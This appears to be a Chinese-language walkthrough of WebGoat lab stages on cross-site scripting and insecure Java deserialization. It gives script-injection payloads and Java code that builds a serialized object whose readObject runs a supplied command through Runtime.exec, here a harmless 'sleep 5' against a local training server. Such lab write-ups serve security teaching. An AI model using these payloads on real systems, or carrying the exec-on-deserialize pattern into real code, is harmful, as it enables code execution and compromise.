(A7) Cross-Site Scripting (XSS)

Cross-Site Scripting

Stage 2

同一个站点,cookie是相同的,所以回答yes。

Stage 7

在卡号的框里输入<script>alert("xss")</script>

Stage 10

前端路由模式,test路径在url上怎么表示。

start.mvc#test

Stage 11

可以直接访问http://127.0.0.1:8080/WebGoat/start.mvc#test/test=%3Cscript%3Ewebgoat.customjs.phoneHome();%3C%2Fscript%3E,控制台里就会输出phoneNum了。

Stage 12

自己做吧。

(A8) Insecure Deserialization

Insecure Deserialization

Stage 5

先写一段java进行序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package org.dummy.insecure.framework;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.time.LocalDateTime;

public class VulnerableTaskHolder implements Serializable {
//网页上给出的是1,但是根据提示serialVersionUID可能更新了,因此改成2
private static final long serialVersionUID = 2;

private String taskName;
private String taskAction;
private LocalDateTime requestedExecutionTime;

public VulnerableTaskHolder(String taskName, String taskAction) {
super();
this.taskName = taskName;
this.taskAction = taskAction;
this.requestedExecutionTime = LocalDateTime.now();
}

private void readObject( ObjectInputStream stream ) throws Exception {
//deserialize data so taskName and taskAction are available
stream.defaultReadObject();

//blindly run some code. #code injection
Runtime.getRuntime().exec(taskAction);
}
}

再写一个序列化的类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import org.dummy.insecure.framework.VulnerableTaskHolder;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class Main{
public static void main(String[] args) throws IOException {
VulnerableTaskHolder vulnerableTaskHolder=new VulnerableTaskHolder("sleep","sleep 5");
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeUnshared(vulnerableTaskHolder);
String out=Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
System.out.println(out);
}
}

把输出的内容提交就行了。

这题有一个坑,服务端的VulnerableTaskHolder和他网页上显示出来的不一样,它会检测命令是否以sleep开头(防止影响WebGoat的运行),但是powershell下,没有sleep命令。所以运行WebGoat的shell一定要是bash,windows下git bash也行。